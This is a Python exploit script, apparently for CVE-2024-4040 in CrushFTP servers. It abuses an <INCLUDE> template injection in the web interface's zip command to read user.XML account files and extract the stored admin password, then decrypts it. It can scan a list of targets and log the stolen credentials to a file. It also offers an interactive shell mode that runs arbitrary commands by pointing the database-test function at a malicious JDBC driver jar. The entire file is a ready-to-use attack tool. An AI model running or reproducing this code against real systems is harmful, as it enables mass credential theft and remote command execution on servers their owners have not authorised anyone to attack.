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exploit.py
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exploit.py
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import requests
import argparse
import re
import urllib3
import subprocess
import base64
import urllib.parse
urllib3.disable_warnings((urllib3.exceptions.InsecureRequestWarning))
headers = {}
def banner():
banner = r'''
/ __\ \ / / __|_|_ ) \_ ) | | ___| | | / \| | | / \
| (__ \ V /| _|___/ / () / /|_ _|___|_ _| () |_ _| () |
\___| \_/ |___| /___\__/___| |_| |_| \__/ |_| \__/
'''
return banner
def shell(url, command, jar_path):
data = "command=testDB&db_driver_file={}&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user={}&db_pass=&c2f={}".format(
jar_path,
base64.b64encode(command.encode('utf-8')).decode('utf-8'),
re.search(r'currentAuth=([^;]+)', headers.get('Cookie', '')).group(1)
)
response = requests.post(url + "/WebInterface/function/", data=data, headers=headers, proxies={
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}, verify=False)
result = urllib.parse.unquote(re.search(r'<commandResult><response>(.*?)</response></commandResult>', response.text).group(1))
return result.replace("Error:java.sql.SQLException: Command execution failed: ", "")
def decryptPassword(url, account, cookies):
data = {
"command": "zip",
"path": "<INCLUDE>users/MainUsers/{}/user.XML</INCLUDE>".format(account),
"c2f": cookies['currentAuth'],
"names":"/a"
}
response = requests.post(url + "/WebInterface/function/", data=data, cookies=cookies, headers=headers, proxies={
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}, verify=False)
try:
password = re.search(r"<password>(.*?)</password>", response.text).group(1)
result = subprocess.run("javac decrypt.java && java decrypt '{}'".format(password), shell=True, capture_output=True, text=True)
except:
print("[-] Failed to decrypt password!")
return "Password not found!"
if result.returncode == 0:
return result.stdout
def scan(url, account, output_file):
print("Target:", url)
print ("[+] Checking if the target is vulnerable..")
try:
response = requests.post(url + "/WebInterface/login.html", headers=headers, allow_redirects=False, proxies={
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}, verify=False, timeout=5)
except:
print("[-] Target is not vulnerable!")
return 0
cookies = response.cookies
default_users = ["<INCLUDE>users/MainUsers/TempAccount/user.XML</INCLUDE>",
"<INCLUDE>users/MainUsers/default/user.XML</INCLUDE>",
"<INCLUDE>users/MainUsers/test/user.XML</INCLUDE>",
"<INCLUDE>users/MainUsers/crushadmin/user.XML</INCLUDE>"]
for default_user in default_users:
try:
data = {
"command": "zip",
"path": default_user,
"c2f": cookies['currentAuth'],
"names":"/a"
}
except:
print("[-] Target is not vulnerable!")
break
try:
response = requests.post(url + "/WebInterface/function/", data=data, cookies=cookies, headers=headers, proxies={
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}, verify=False, allow_redirects=False, timeout=5)
except:
print("[-] Target is not vulnerable!")
break
if response.status_code == 302:
print("[-] Target is not vulnerable!")
break
if "<commandResult" in response.text and 'FAILURE' not in response.text:
print("[+] Target is Vulnerable!")
password = decryptPassword(url, account, cookies)
print("[+] Password is:", password)
if output_file is not None:
with open(output_file, "a") as f:
f.write("Target: {}, Account: {}, Password: {}\n".format(url, account, password))
break
else:
print("[-] Target is not vulnerable!")
def main():
def parse_headers(headers_string):
headers_dict = {}
headers = headers_string.split('\n')
for header in headers:
if ':' in header:
key, value = header.split(':', 1)
headers_dict[key.strip()] = value.strip()
return headers_dict
parser = argparse.ArgumentParser(description="CVE-2024-4040")
parser.add_argument("-u", '--url', required=False, help="The target URL")
parser.add_argument("-H", "--headers", required=False, help="Headers", type=str)
parser.add_argument("--account", required=False, help="The target account", default="crushadmin")
parser.add_argument("--shell", required=False, action="store_true")
parser.add_argument("--jar-path", required=False, help="Jar file path", default="/tmp/mysql_cmd_db_user_final_with_echo_base64.jar")
parser.add_argument("--list", required=False, help="Target list")
parser.add_argument("--output-file", required=False, help="The result will be output to the specified file", default=None)
args = parser.parse_args()
global headers
if args.headers:
headers = parse_headers(args.headers)
print(banner())
if args.shell:
print("[!] Remember to bring the currentAuth and CrushAuth cookie values after logging in.\n")
while True:
command = input("{}:{}$ ".format(args.url, args.account))
if command.lower() == "exit":
break
result = shell(args.url, command, args.jar_path)
print(result)
elif args.list != None:
with open(args.list, 'r') as urls:
for line in urls:
parsed_url = urllib.parse.urlparse(line)
url = f'{parsed_url.scheme}://{parsed_url.netloc}'
scan(url, args.account, args.output_file)
else:
parsed_url = urllib.parse.urlparse(args.url)
url = f'{parsed_url.scheme}://{parsed_url.netloc}'
scan(url, args.account, args.output_file)
if __name__ == "__main__":
main()